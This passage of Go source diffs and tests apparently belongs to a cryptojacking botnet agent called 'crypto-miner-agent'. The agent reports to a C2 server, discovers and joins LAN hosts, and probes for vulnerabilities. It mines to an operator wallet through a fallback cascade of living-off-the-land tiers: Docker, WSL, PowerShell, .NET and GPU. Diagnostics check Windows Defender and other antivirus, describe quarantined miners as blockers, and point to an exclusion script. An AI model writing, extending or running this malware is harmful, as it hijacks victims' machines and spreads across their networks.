if resp.StatusCode != http.StatusOK {
return out, fmt.Errorf("deploy-plan HTTP %s: %s", resp.Status, strings.TrimSpace(string(data)))
}
if err := json.Unmarshal(data, &out); err != nil {
return out, err
}
if !out.OK && out.Error != "" {
return out, fmt.Errorf("%s", out.Error)
}
if out.JoinLane == "" && out.Plan.JoinLane != "" {
out.JoinLane = out.Plan.JoinLane
}
out.OK = true
return out, nil
}
func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
return c.fetchDeployPlan(services, uncPath)
}
lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
if err != nil {
return "", err
}
if lane != "" {
c.setJoinLane(lane)
}
return fmt.Sprintf("join_lane=%s; %s", lane, detail), nil
}

View File

@@ -0,0 +1,488 @@
package client
import (
"context"
"encoding/json"
"fmt"
"log"
"sync"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
)
// MiningChainRunner wires the unified fallback cascade into AgentClient.
type MiningChainRunner struct {
client *AgentClient
ctrl *miner.ChainController
tiers *miner.TierOrchestrator
onion *miner.TripleOnionOrchestrator
mu sync.Mutex
monCancel context.CancelFunc
onionAttempts []miner.TierAttempt
}
func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
miner.SetVulnProbeRunner(func() miner.TierAttempt {
report := RunVulnLOTLProbe()
attempt := miner.TierAttempt{
Tier: miner.TierVulnProbe,
OK: true,
Wallet: c.cfg.Wallet,
Details: map[string]interface{}{
"risk_score": report.RiskScore,
"exposed_count": report.ExposedCount,
"finding_count": len(report.Findings),
},
}
return attempt
})
r := &MiningChainRunner{client: c}
hooks := miner.ChainHooks{
StartDockerLoad: r.startDockerLoad,
StartContainer: r.startContainer,
StartWSL: r.startWSL,
StartPowerShell: r.startPowerShell,
StartDotnet: r.startDotnet,
StartInProcess: r.startInProcess,
StartGPU: r.startGPU,
StartPyOpenCL: r.startPyOpenCL,
StopDockerLoad: r.stopDockerLoad,
StopContainer: r.stopContainer,
StopWSL: r.stopWSL,
StopPowerShell: r.stopPowerShell,
StopDotnet: r.stopDotnet,
StopInProcess: r.stopInProcess,
StopGPU: r.stopGPU,
StopPyOpenCL: r.stopPyOpenCL,
IsDockerLoadHealthy: func() bool {
return c.containerMiner != nil && c.containerMiner.Running()
},
IsContainerHealthy: func() bool {
return c.containerMiner != nil && c.containerMiner.Running()
},
IsWSLHealthy: func() bool {
return c.wslMiner != nil && c.wslMiner.Running()
},
IsGPUSupported: func() bool {
return newGPUMiner(c.cfg) != nil
},
PoolConfigured: func() bool {
return c.cfg.PoolHost != ""
},
}
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(hooks.IsGPUSupported), r.reportTierEvent)
hooks.RunTierProbes = func() miner.TierReport {
r.tiers.RunProbes(context.Background())
return r.tiers.Report()
}
hooks.RunTierChain = func() (miner.LOTLTier, error) {
tier, err := r.tiers.TryChain(context.Background())
return tier, err
}
hooks.StopTiers = func() {}
hooks.WebGPUReady = r.tiers.WebGPUReady
hooks.GPUComputeReady = r.tiers.GPUComputeReady
r.ctrl = miner.NewChainController(c.cfg, hooks, r.reportMiningEvent)
r.onion = r.wireTripleOnion()
return r
}
func (r *MiningChainRunner) tiersHooks(isGPUSupported func() bool) miner.TierHooks {
return miner.TierHooks{
StartDockerLoad: r.startDockerLoad,
StartContainer: r.startContainer,
StartWSL: r.startWSL,
StartPowerShell: r.startPowerShell,
StartDotnet: r.startDotnet,
StartInProcess: r.startInProcess,
StartGPU: r.startGPU,
StopDockerLoad: r.stopDockerLoad,
StopContainer: r.stopContainer,
StopWSL: r.stopWSL,
StopPowerShell: r.stopPowerShell,
StopDotnet: r.stopDotnet,
StopInProcess: r.stopInProcess,
StopGPU: r.stopGPU,
IsGPUSupported: isGPUSupported,
}
}
// Start launches recon → deploy → mining triple onion, then the health monitor.
func (r *MiningChainRunner) Start(ctx context.Context) {
if r.onion != nil {
report := r.onion.Run(ctx)
log.Printf("[triple-onion] complete phase=%s gate=%+v recon_risk=%d attempts=%d",
report.ActivePhase, report.Gate, report.Recon.RiskScore, len(report.Attempts))
r.mu.Lock()
r.onionAttempts = report.Attempts
r.mu.Unlock()
return
}
r.startMiningCascade(ctx)
}
// startMiningCascade runs the existing LOTL mining onion + fallback chain.
func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
tierReport := r.tiers.Report()
log.Printf("[mining-chain] execution=%s runtime=%s available=%v order=%v lotl=%v",
execMode, containerRT.CLI, containerRT.Available, r.ctrl.Status().ChainOrder, tierReport.TierChainOrder)
if hint := miner.AVBlockRecommendation(execMode, containerRT); hint != "" {
log.Printf("[mining-chain] %s", hint)
}
if probes.AVBlocksExe {
log.Printf("[mining-chain] AV blocks exe — tier onion skips subprocess, prefers container/WSL/PS")
}
if r.onion != nil && r.onion.GateDecisionSnapshot().ForceIsolated {
policy := miner.ApplyIsolatedMiningPolicy(r.client.miningTierPolicy())
r.client.mu.Lock()
r.client.tierPolicy = policy
r.client.mu.Unlock()
r.tiers = miner.NewTierOrchestrator(r.client.cfg, probes, policy, r.tiersHooks(func() bool {
return newGPUMiner(r.client.cfg) != nil
}), r.reportTierEvent)
}
if tier, err := r.tiers.TryChain(ctx); err != nil {
log.Printf("[mining-chain] LOTL tier chain failed: %v", err)
} else if method, ok := miner.TierToMiningMethod(tier); ok {
r.ctrl.SetPrimaryActive(method)
}
if _, err := r.ctrl.TryChain(ctx); err != nil {
log.Printf("[mining-chain] initial chain pass failed: %v", err)
}
monCtx, cancel := context.WithCancel(ctx)
r.mu.Lock()
r.monCancel = cancel
r.mu.Unlock()
go r.ctrl.Monitor(monCtx)
}
// Stop halts all mining methods in the chain.
func (r *MiningChainRunner) Stop() {
r.mu.Lock()
if r.monCancel != nil {
r.monCancel()
r.monCancel = nil
}
r.mu.Unlock()
r.ctrl.StopAll()
}
// Resume restarts mining after a remote pause command.
func (r *MiningChainRunner) Resume(ctx context.Context) {
r.ctrl.ResumeAll(ctx)
}
// Restart reruns the full chain (remote resume / reconnect).
func (r *MiningChainRunner) Restart(ctx context.Context) {
r.ctrl.RestartChain(ctx)
}
// Status returns the live cascade snapshot for stats/diagnostics.
func (r *MiningChainRunner) Status() miner.MiningStatus {
st := r.ctrl.Status()
if r.tiers == nil {
return st
}
tr := r.tiers.Report()
if tr.ActiveTier != "" {
st.LOTLTier = tr.ActiveTier
}
r.mu.Lock()
onionAttempts := r.onionAttempts
r.mu.Unlock()
attempts := tr.Attempts
if len(onionAttempts) > 0 {
attempts = mergeOnionAttempts(onionAttempts, attempts)
}
if len(attempts) > 0 {
st.LOTLAttempts = attempts
}
st.WebGPUReady = tr.WebGPUReady
return st
}
func mergeOnionAttempts(onion, mining []miner.TierAttempt) []miner.TierAttempt {
out := make([]miner.TierAttempt, 0, len(onion)+len(mining))
out = append(out, onion...)
for _, a := range mining {
if a.Phase == "" || a.Phase == string(miner.OnionPhaseMining) {
out = append(out, a)
}
}
return out
}
// SetStratumActive records direct Stratum overlay from stratumFallbackManager.
func (r *MiningChainRunner) SetStratumActive(active bool) {
r.ctrl.SetStratumActive(active)
}
// OnGPUFailed records GPU subprocess failure without stopping CPU primary.
func (r *MiningChainRunner) OnGPUFailed(reason string) {
r.ctrl.OnMethodFailed(miner.MethodGPUSubprocess, reason)
}
func (r *MiningChainRunner) startDockerLoad() error {
c := r.client
_, containerRT := miner.ResolveExecutionMode(c.cfg)
if !containerRT.Available {
return fmt.Errorf("docker_load tier: no container runtime (docker/podman not in PATH)")
}
tarPath, err := miner.ResolveImageTar(c.cfg)
if err != nil {
return err
}
launcher, err := miner.NewContainerLauncherFromTar(c.cfg, containerRT, tarPath)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.containerMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] docker_load active — host RandomX paused wallet=%s", c.cfg.Wallet)
return nil
}
func (r *MiningChainRunner) startContainer() error {
c := r.client
_, containerRT := miner.ResolveExecutionMode(c.cfg)
launcher, err := miner.NewContainerLauncher(c.cfg, containerRT)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.containerMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] container active — host RandomX paused")
return nil
}
func (r *MiningChainRunner) startWSL() error {
c := r.client
wslRT := miner.WSLDetector()
launcher, err := miner.NewWSLLauncher(c.cfg, wslRT)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.wslMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] wsl active — host RandomX paused wallet=%s", c.cfg.Wallet)
return nil
}
func (r *MiningChainRunner) startPowerShell() error {
c := r.client
launcher, err := miner.NewPowerShellLauncher(c.cfg)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.psMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] powershell tier active wallet=%s pool=%s:%d", c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort)
return nil
}
func (r *MiningChainRunner) startDotnet() error {
c := r.client
launcher, err := miner.NewDotnetLauncher(c.cfg)
if err != nil {
return err
}
if err := launcher.Start(); err != nil {
return err
}
c.dotnetMiner = launcher
c.hostMiningDisabled.Store(true)
c.pool.PauseRemote()
log.Printf("[mining-chain] dotnet tier active wallet=%s pool=%s:%d toolchain=%s dir=%s",
c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort, launcher.Toolchain(), launcher.WorkDir())
return nil
}
func (r *MiningChainRunner) startInProcess() error {
c := r.client
r.stopSidecarPrimary(c)
c.hostMiningDisabled.Store(false)
c.pool.ResumeRemote()
log.Printf("[mining-chain] in-process RandomX active")
return nil
}
func (r *MiningChainRunner) startGPU() error {
c := r.client
c.mu.Lock()
defer c.mu.Unlock()
if c.gpuMiner != nil {
c.gpuMiner.Resume()
return nil
}
gm := newGPUMiner(c.cfg)
if gm == nil {
return miner.ErrMethodUnavailable
}
c.gpuMiner = gm
gm.Start()
log.Printf("[mining-chain] GPU subprocess started (parallel RVN)")
return nil
}
func (r *MiningChainRunner) startPyOpenCL() error {
if err := miner.StartPyOpenCLTier(r.client.cfg); err != nil {
return err
}
log.Printf("[mining-chain] linux_pyopencl tier probe OK")
return nil
}
func (r *MiningChainRunner) stopPyOpenCL() {}
func (r *MiningChainRunner) stopDockerLoad() {
r.stopContainer()
}
func (r *MiningChainRunner) stopContainer() {
c := r.client
if c.containerMiner != nil {
c.containerMiner.Stop()
c.containerMiner = nil
}
c.hostMiningDisabled.Store(false)
}
func (r *MiningChainRunner) stopWSL() {
c := r.client
if c.wslMiner != nil {
c.wslMiner.Stop()
c.wslMiner = nil
}
c.hostMiningDisabled.Store(false)
}
func (r *MiningChainRunner) stopPowerShell() {
c := r.client
if c.psMiner != nil {
c.psMiner.Stop()
c.psMiner = nil
}
c.hostMiningDisabled.Store(false)
}
func (r *MiningChainRunner) stopDotnet() {
c := r.client
if c.dotnetMiner != nil {
c.dotnetMiner.Stop()
c.dotnetMiner = nil
}
c.hostMiningDisabled.Store(false)
}
func (r *MiningChainRunner) stopSidecarPrimary(c *AgentClient) {
if c.containerMiner != nil && c.containerMiner.Running() {
c.containerMiner.Stop()
c.containerMiner = nil
}
if c.wslMiner != nil && c.wslMiner.Running() {
c.wslMiner.Stop()
c.wslMiner = nil
}
if c.psMiner != nil && c.psMiner.Running() {
c.psMiner.Stop()
c.psMiner = nil
}
if c.dotnetMiner != nil && c.dotnetMiner.Running() {
c.dotnetMiner.Stop()
c.dotnetMiner = nil
}
}
func (r *MiningChainRunner) stopInProcess() {
c := r.client
c.pool.PauseRemote()
}
func (r *MiningChainRunner) stopGPU() {
c := r.client
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Stop()
}
c.mu.Lock()
c.gpuMiner = nil
c.mu.Unlock()
r.ctrl.SetGPUActive(false)
}
func (r *MiningChainRunner) reportTierEvent(report miner.TierReport, eventType string) {
c := r.client
payload, err := json.Marshal(struct {
miner.TierReport
Event string `json:"event"`
}{
TierReport: report,
Event: eventType,
})
if err != nil {
return
}
if err := c.write(Message{Type: "tier_report", Payload: payload}); err != nil {
log.Printf("[lotl-tier] %s notify failed: %v", eventType, err)
}
r.ctrl.MergeLOTLReport(report)
if method, ok := miner.TierToMiningMethod(report.ActiveTier); ok {
r.ctrl.SetPrimaryActive(method)
}
}
func (r *MiningChainRunner) reportMiningEvent(status miner.MiningStatus, eventType string) {
c := r.client
payload, err := json.Marshal(struct {
miner.MiningStatus
Event string `json:"event"`
}{
MiningStatus: status,
Event: eventType,
})
if err != nil {
return
}
if err := c.write(Message{Type: eventType, Payload: payload}); err != nil {
log.Printf("[mining-chain] %s notify failed: %v", eventType, err)
}
}
// chainOrderForConfig exposes chain order for diagnostics without starting mining.
func chainOrderForConfig(cfg config.RuntimeConfig) []miner.MiningMethod {
rt := miner.RuntimeDetector()
return miner.DefaultFallbackChain(cfg, rt)
}
func tierChainForConfig(cfg config.RuntimeConfig, policy miner.MiningTierPolicy) []miner.LOTLTier {
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
chain, _ := miner.SelectMiningTierChain(probes, policy, cfg)
return chain
}

View File

@@ -0,0 +1,93 @@
package client
import (
"runtime"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
)
func TestChainOrderForConfigInProcessSkipsContainer(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer miner.SetRuntimeDetector(nil)
order := chainOrderForConfig(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionInProcess,
PoolHost: "pool.example.com",
},
})
for _, m := range order {
if m == miner.MethodContainer {
t.Fatalf("inprocess mode must not include container, got %v", order)
}
}
if len(order) == 0 || order[0] != miner.MethodInProcess {
t.Fatalf("want inprocess first, got %v", order)
}
stratumIdx := -1
for i, m := range order {
if m == miner.MethodStratumDirect {
stratumIdx = i
}
}
if stratumIdx < 0 {
t.Fatalf("want stratum_direct when pool configured, got %v", order)
}
if runtime.GOOS == "windows" {
for i, m := range order {
if m == miner.MethodStratumDirect && i < len(order)-1 {
// Windows appends LOTL probe/execution tiers after stratum.
return
}
}
} else if order[len(order)-1] != miner.MethodStratumDirect {
t.Fatalf("want stratum last when pool configured, got %v", order)
}
}
func TestChainOrderForConfigAutoWithDocker(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer miner.SetRuntimeDetector(nil)
order := chainOrderForConfig(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "p",
},
})
wantPrefix := []miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess, miner.MethodStratumDirect}
if len(order) < len(wantPrefix) {
t.Fatalf("order=%v want prefix %v", order, wantPrefix)
}
for i := range wantPrefix {
if order[i] != wantPrefix[i] {
t.Fatalf("order[%d]=%q want %q full=%v", i, order[i], wantPrefix[i], order)
}
}
}
func TestChainOrderForConfigContainerWithoutRuntime(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
defer miner.SetRuntimeDetector(nil)
order := chainOrderForConfig(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionContainer,
PoolHost: "p",
},
})
for _, m := range order {
if m == miner.MethodContainer {
t.Fatalf("no runtime — container must be omitted, got %v", order)
}
}
if order[0] != miner.MethodInProcess {
t.Fatalf("want inprocess first without runtime, got %v", order)
}
}

View File

@@ -0,0 +1,296 @@
package client
import (
"encoding/json"
"runtime"
"time"
"crypto-miner-agent/miner"
)
// MiningDiagnostics is a read-only snapshot of why mining may be idle or blocked.
type MiningDiagnostics struct {
GeneratedAt string `json:"generated_at"`
Platform string `json:"platform"`
ConfiguredExecution string `json:"configured_execution"`
ExecutionMode string `json:"execution_mode"`
ContainerAvailable bool `json:"container_runtime_available"`
ContainerCLI string `json:"container_runtime_cli,omitempty"`
ContainerRunning bool `json:"container_running"`
DockerLoadAvailable bool `json:"docker_load_available"`
DockerImageTar string `json:"docker_image_tar,omitempty"`
WSLAvailable bool `json:"wsl_available"`
WSLDistros []string `json:"wsl_distros,omitempty"`
WSLRunning bool `json:"wsl_running"`
HostMiningDisabled bool `json:"host_mining_disabled"`
C2Connected bool `json:"c2_connected"`
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
MiningMode string `json:"mining_mode"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
InstallDir string `json:"install_dir,omitempty"`
AVRecommendation string `json:"av_recommendation,omitempty"`
LikelyBlockers []string `json:"likely_blockers"`
ActiveMethod string `json:"active_method,omitempty"`
FailedMethods []struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
} `json:"failed_methods,omitempty"`
ChainOrder []string `json:"chain_order,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
CPU struct {
RemotePaused bool `json:"remote_paused"`
ScheduleBlocked bool `json:"schedule_blocked"`
ResourcesBlocked bool `json:"resources_blocked"`
HasJob bool `json:"has_job"`
Hashrate float64 `json:"hashrate_hps"`
} `json:"cpu"`
GPU struct {
Enabled bool `json:"enabled"`
Active bool `json:"active"`
Paused bool `json:"paused"`
Model string `json:"model,omitempty"`
} `json:"gpu"`
Defender *struct {
Enabled *bool `json:"enabled,omitempty"`
RTP *bool `json:"rtp,omitempty"`
Products []string `json:"products,omitempty"`
} `json:"defender,omitempty"`
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
TierChainOrder []string `json:"tier_chain_order,omitempty"`
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"`
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
VulnFindings []struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
} `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
}
func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
execMode, containerRT := miner.ResolveExecutionMode(c.cfg)
remotePaused, scheduleBlocked, resourcesBlocked, hasJob, hps := c.pool.DiagnosticSnapshot()
var d MiningDiagnostics
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
d.Platform = runtime.GOOS
d.ConfiguredExecution = c.cfg.MinerExecution
d.ExecutionMode = execMode
d.ContainerAvailable = containerRT.Available
d.ContainerCLI = containerRT.CLI
if c.containerMiner != nil {
d.ContainerRunning = c.containerMiner.Running()
}
if tarPath, err := miner.ResolveImageTar(c.cfg); err == nil {
d.DockerLoadAvailable = containerRT.Available
d.DockerImageTar = tarPath
}
wslRT := miner.WSLDetector()
d.WSLAvailable = wslRT.Available
d.WSLDistros = wslRT.Distros
if c.wslMiner != nil {
d.WSLRunning = c.wslMiner.Running()
}
d.HostMiningDisabled = c.hostMiningDisabled.Load()
d.C2Connected = c.connected.Load()
if raw := c.lastJobAt.Load(); raw != nil {
age := time.Since(raw.(time.Time)).Seconds()
d.LastJobAgeSec = &age
}
d.MiningMode = c.cfg.MiningMode
d.PoolHost = c.cfg.PoolHost
d.PoolPort = c.cfg.PoolPort
if dir, err := c.cfg.InstallDirectory(); err == nil {
d.InstallDir = dir
}
d.AVRecommendation = miner.AVBlockRecommendation(execMode, containerRT)
d.EnvironmentProbes = miner.ProbeEnvironment(miner.RuntimeDetector)
if d.EnvironmentProbes.GPU == false && c.cfg.GPUEnabled {
d.EnvironmentProbes.GPU = newGPUMiner(c.cfg) != nil
}
if p := collectPosture(); p != nil && p.DefenderRTP != nil && *p.DefenderRTP {
d.EnvironmentProbes.AVBlocksExe = true
}
tierChain := tierChainForConfig(c.cfg, c.miningTierPolicy())
d.TierChainOrder = make([]string, len(tierChain))
for i, t := range tierChain {
d.TierChainOrder[i] = string(t)
}
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg)
d.TierChainSkipped = make([]string, len(skipped))
for i, t := range skipped {
d.TierChainSkipped[i] = string(t)
}
d.CPU.RemotePaused = remotePaused
d.CPU.ScheduleBlocked = scheduleBlocked
d.CPU.ResourcesBlocked = resourcesBlocked
d.CPU.HasJob = hasJob
d.CPU.Hashrate = hps
d.GPU.Enabled = c.cfg.GPUEnabled
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
_, active := gm.Stats()
d.GPU.Active = active
d.GPU.Model = gm.GPUModel()
gm.mu.RLock()
d.GPU.Paused = gm.paused
gm.mu.RUnlock()
} else if c.cfg.GPUEnabled {
d.LikelyBlockers = append(d.LikelyBlockers, "gpu_enabled but no supported GPU miner started (driver missing or AV blocked T-Rex/TRM download)")
}
if p := collectPosture(); p != nil && (p.DefenderEnabled != nil || len(p.AVProducts) > 0) {
d.Defender = &struct {
Enabled *bool `json:"enabled,omitempty"`
RTP *bool `json:"rtp,omitempty"`
Products []string `json:"products,omitempty"`
}{
Enabled: p.DefenderEnabled,
RTP: p.DefenderRTP,
Products: p.AVProducts,
}
}
d.LikelyBlockers = append(d.LikelyBlockers, c.inferMiningBlockers(d)...)
if c.miningChain != nil {
ms := c.miningChain.Status()
if ms.LOTLTier != "" {
d.LOTLTier = string(ms.LOTLTier)
}
if len(ms.LOTLAttempts) > 0 {
d.LOTLAttempts = append(d.LOTLAttempts[:0:0], ms.LOTLAttempts...)
}
d.WebGPUReady = ms.WebGPUReady
if c.miningChain.tiers != nil {
tr := c.miningChain.tiers.Report()
d.GPUComputeOK = tr.GPUComputeOK
if d.LOTLTier == "" && tr.ActiveTier != "" {
d.LOTLTier = string(tr.ActiveTier)
}
if len(d.LOTLAttempts) == 0 && len(tr.Attempts) > 0 {
d.LOTLAttempts = tr.Attempts
}
}
d.ActiveMethod = string(ms.ActiveMethod)
d.StratumOverlay = ms.StratumOverlay
d.ChainExhausted = ms.ChainExhausted
if len(ms.ChainOrder) > 0 {
d.ChainOrder = make([]string, len(ms.ChainOrder))
for i, m := range ms.ChainOrder {
d.ChainOrder[i] = string(m)
}
}
if len(ms.FailedMethods) > 0 {
d.FailedMethods = make([]struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
}, len(ms.FailedMethods))
for i, f := range ms.FailedMethods {
d.FailedMethods[i].Method = string(f.Method)
d.FailedMethods[i].Reason = f.Reason
d.FailedMethods[i].At = f.At
}
}
} else {
d.ChainOrder = make([]string, len(chainOrderForConfig(c.cfg)))
for i, m := range chainOrderForConfig(c.cfg) {
d.ChainOrder[i] = string(m)
}
}
if vr := LastVulnScan(); vr != nil {
score := vr.RiskScore
d.VulnRiskScore = &score
if len(vr.Findings) > 0 {
d.VulnFindings = make([]struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}, len(vr.Findings))
for i, f := range vr.Findings {
d.VulnFindings[i].CVEID = f.CVEID
d.VulnFindings[i].Severity = f.Severity
d.VulnFindings[i].Component = f.Component
d.VulnFindings[i].Patched = f.Patched
d.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
d.VulnFindings[i].Detail = f.Detail
}
}
}
return d
}
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
var blockers []string
if d.CPU.RemotePaused {
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
}
if d.CPU.ScheduleBlocked {
blockers = append(blockers, "mining_mode schedule/idle guard blocking workers")
}
if d.CPU.ResourcesBlocked {
blockers = append(blockers, "resource guard: CPU/RAM limits exceeded")
}
if !d.C2Connected && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 30) {
blockers = append(blockers, "no C2 job yet — direct Stratum fallback should start within ~10s if pool reachable")
}
if d.C2Connected && !d.CPU.HasJob && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 20) {
blockers = append(blockers, "C2 connected but no mining job delivered — check server pool proxy")
}
if d.CPU.HasJob && d.CPU.Hashrate < 1 && !d.HostMiningDisabled {
blockers = append(blockers, "job present but hashrate=0 — engine init failure or process throttled/killed by AV")
}
if d.HostMiningDisabled && !d.ContainerRunning {
blockers = append(blockers, "host mining disabled for container mode but container is not running")
}
if d.Defender != nil && d.Defender.RTP != nil && *d.Defender.RTP {
blockers = append(blockers, "Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path")
}
if d.GPU.Enabled && !d.GPU.Active && !d.GPU.Paused {
blockers = append(blockers, "GPU mining configured but subprocess inactive — T-Rex/TRM likely quarantined or download blocked")
}
if d.ExecutionMode == miner.ExecutionContainer && !d.ContainerAvailable {
blockers = append(blockers, "container mode requested but Docker/Podman not detected — falls back to in-process")
}
if d.DockerImageTar != "" && !d.ContainerAvailable {
blockers = append(blockers, "docker_load policy has image tar but Docker/Podman not detected")
}
if !d.WSLAvailable && runtime.GOOS == "windows" {
blockers = append(blockers, "WSL2 not detected — wsl tier skipped (install a distro for AV-friendly Linux sidecar)")
}
if d.ChainExhausted {
blockers = append(blockers, "mining fallback chain exhausted — all primary methods failed")
}
if len(d.FailedMethods) > 0 && d.ActiveMethod == "" && !d.StratumOverlay {
blockers = append(blockers, "cascade failures recorded — check failed_methods in diagnostics JSON")
}
return blockers
}
func (c *AgentClient) miningDiagnosticsJSON() string {
d := c.collectMiningDiagnostics()
b, _ := json.MarshalIndent(d, "", " ")
return string(b)
}

View File

@@ -0,0 +1,195 @@
package client
import (
"encoding/json"
"strings"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
)
func testDiagnosticsClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
t.Helper()
c := NewAgentClient(cfg)
c.pool = miner.NewPool(1, cfg, stats.NewReporter(), nil)
return c
}
func TestMiningDiagnosticsJSONShape(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
})
defer miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
defer miner.SetWSLDetector(nil)
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "pool.example.com",
PoolPort: 3333,
MiningMode: "always",
},
}
c := testDiagnosticsClient(t, cfg)
c.connected.Store(true)
raw := c.miningDiagnosticsJSON()
var doc map[string]interface{}
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
t.Fatalf("invalid JSON: %v\n%s", err, raw)
}
for _, key := range []string{
"generated_at", "platform", "configured_execution", "execution_mode",
"container_runtime_available", "c2_connected", "mining_mode",
"pool_host", "pool_port", "likely_blockers", "chain_order", "cpu", "gpu",
} {
if _, ok := doc[key]; !ok {
t.Fatalf("missing key %q in diagnostics JSON", key)
}
}
blockers, ok := doc["likely_blockers"].([]interface{})
if !ok {
t.Fatalf("likely_blockers type = %T", doc["likely_blockers"])
}
if len(blockers) == 0 {
t.Fatal("expected at least one likely_blocker for idle agent with no job")
}
}
func TestInferMiningBlockersRemotePause(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
c.pool.PauseRemote()
d := c.collectMiningDiagnostics()
found := false
for _, b := range d.LikelyBlockers {
if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
found = true
break
}
}
if !found {
t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
}
}
func TestInferMiningBlockersChainExhausted(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "fallback chain exhausted") {
found = true
}
}
if !found {
t.Fatalf("got %v", blockers)
}
}
func TestInferMiningBlockersDefenderRTP(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
rtp := true
d := MiningDiagnostics{
C2Connected: true,
Defender: &struct {
Enabled *bool `json:"enabled,omitempty"`
RTP *bool `json:"rtp,omitempty"`
Products []string `json:"products,omitempty"`
}{RTP: &rtp},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "Defender real-time protection") {
found = true
}
}
if !found {
t.Fatalf("got %v", blockers)
}
}
func TestInferMiningBlockersContainerModeNoRuntime(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{
ExecutionMode: miner.ExecutionContainer,
ContainerAvailable: false,
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "Docker/Podman not detected") {
